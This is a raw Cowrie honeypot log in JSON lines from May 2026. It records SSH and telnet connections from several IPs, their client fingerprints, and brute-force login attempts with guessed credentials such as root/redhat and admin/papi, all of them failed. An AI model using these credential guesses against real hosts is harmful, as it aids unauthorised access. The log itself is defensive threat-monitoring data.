{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":24064,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c76cdc95a4e","protocol":"ssh","message":"New connection: 193.24.211.100:24064 (159.203.135.109:22) [session: 1c76cdc95a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:34.011397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:34.016719Z","src_ip":"193.24.211.100","session":"1c76cdc95a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:34.249765Z","src_ip":"193.24.211.100","session":"1c76cdc95a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.426053524017334,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:34.694051Z","src_ip":"128.199.8.54","session":"07b87f84c2be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345@","message":"login attempt [root/abc12345@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:34.702880Z","src_ip":"193.24.211.100","session":"1c76cdc95a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:35.814295Z","src_ip":"193.24.211.100","session":"1c76cdc95a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40036,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a2628d02ba3","protocol":"telnet","message":"New connection: 128.199.8.54:40036 (159.203.135.109:23) [session: 8a2628d02ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:55.901726Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42572,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d813cf6bdc5","protocol":"telnet","message":"New connection: 128.199.8.54:42572 (159.203.135.109:23) [session: 6d813cf6bdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:57.318946Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":56348,"dst_ip":"159.203.135.109","dst_port":22,"session":"deccc9463f14","protocol":"ssh","message":"New connection: 43.160.242.74:56348 (159.203.135.109:22) [session: deccc9463f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:04.658820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:04.665667Z","src_ip":"43.160.242.74","session":"deccc9463f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:04.903470Z","src_ip":"43.160.242.74","session":"deccc9463f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234567890","message":"login attempt [root/test1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:05.882571Z","src_ip":"43.160.242.74","session":"deccc9463f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:07.123806Z","src_ip":"43.160.242.74","session":"deccc9463f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":54994,"dst_ip":"159.203.135.109","dst_port":22,"session":"baecc4b85beb","protocol":"ssh","message":"New connection: 118.194.229.94:54994 (159.203.135.109:22) [session: baecc4b85beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:15.567446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:15.572400Z","src_ip":"118.194.229.94","session":"baecc4b85beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:15.743830Z","src_ip":"118.194.229.94","session":"baecc4b85beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passw0rd","message":"login attempt [test/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:16.460466Z","src_ip":"118.194.229.94","session":"baecc4b85beb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:17.634703Z","src_ip":"118.194.229.94","session":"baecc4b85beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36410,"dst_ip":"159.203.135.109","dst_port":23,"session":"b05f0904bf1f","protocol":"telnet","message":"New connection: 128.199.8.54:36410 (159.203.135.109:23) [session: b05f0904bf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:24.288745Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36622,"dst_ip":"159.203.135.109","dst_port":23,"session":"8841e7973675","protocol":"telnet","message":"New connection: 128.199.8.54:36622 (159.203.135.109:23) [session: 8841e7973675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:27.428097Z"}
{"eventid":"cowrie.session.closed","duration":35.67955660820007,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:31.581166Z","src_ip":"128.199.8.54","session":"8a2628d02ba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.321754932403564,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:32.640582Z","src_ip":"128.199.8.54","session":"6d813cf6bdc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55592,"dst_ip":"159.203.135.109","dst_port":23,"session":"77a8cb861228","protocol":"telnet","message":"New connection: 128.199.8.54:55592 (159.203.135.109:23) [session: 77a8cb861228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:49.479133Z"}
{"eventid":"cowrie.session.closed","duration":33.32442116737366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:24:57.613072Z","src_ip":"128.199.8.54","session":"b05f0904bf1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.40262532234192,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:00.830607Z","src_ip":"128.199.8.54","session":"8841e7973675","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":59484,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f2e5ca1ede4","protocol":"ssh","message":"New connection: 43.160.242.74:59484 (159.203.135.109:22) [session: 0f2e5ca1ede4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:02.580643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:02.587919Z","src_ip":"43.160.242.74","session":"0f2e5ca1ede4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:02.826663Z","src_ip":"43.160.242.74","session":"0f2e5ca1ede4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"p@ssw0rd","message":"login attempt [user2/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:03.806841Z","src_ip":"43.160.242.74","session":"0f2e5ca1ede4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:05.047843Z","src_ip":"43.160.242.74","session":"0f2e5ca1ede4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.97679591178894,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:23.455811Z","src_ip":"128.199.8.54","session":"77a8cb861228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58975,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd15afcc1bbf","protocol":"telnet","message":"New connection: 212.55.149.117:58975 (10.17.0.5:23) [session: fd15afcc1bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:30.588444Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42798,"dst_ip":"10.17.0.5","dst_port":22,"session":"1139be93d2d4","protocol":"ssh","message":"New connection: 103.15.226.202:42798 (10.17.0.5:22) [session: 1139be93d2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:33.680292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:33.685308Z","src_ip":"103.15.226.202","session":"1139be93d2d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:33.929613Z","src_ip":"103.15.226.202","session":"1139be93d2d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:34.657225Z","src_ip":"103.15.226.202","session":"1139be93d2d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.122.158.203","src_port":57339,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a2095214659","protocol":"telnet","message":"New connection: 191.122.158.203:57339 (159.203.135.109:23) [session: 0a2095214659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:35.285200Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:35.925040Z","src_ip":"103.15.226.202","session":"1139be93d2d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57108,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ca8204063d","protocol":"telnet","message":"New connection: 128.199.8.54:57108 (159.203.135.109:23) [session: 95ca8204063d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:47.983783Z"}
{"eventid":"cowrie.session.closed","duration":13.183157920837402,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:25:48.468207Z","src_ip":"191.122.158.203","session":"0a2095214659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":50748,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdb5003be47b","protocol":"ssh","message":"New connection: 43.160.242.74:50748 (159.203.135.109:22) [session: bdb5003be47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:02.703768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:02.708708Z","src_ip":"43.160.242.74","session":"bdb5003be47b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:02.946465Z","src_ip":"43.160.242.74","session":"bdb5003be47b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51282,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bfe822011e8","protocol":"ssh","message":"New connection: 2.57.121.112:51282 (159.203.135.109:22) [session: 9bfe822011e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:03.456592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:03.461648Z","src_ip":"2.57.121.112","session":"9bfe822011e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:03.562824Z","src_ip":"2.57.121.112","session":"9bfe822011e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123123","message":"login attempt [es/es123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:03.935322Z","src_ip":"43.160.242.74","session":"bdb5003be47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"papi","message":"login attempt [admin/papi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:04.041992Z","src_ip":"2.57.121.112","session":"9bfe822011e8","protocol":"ssh"}
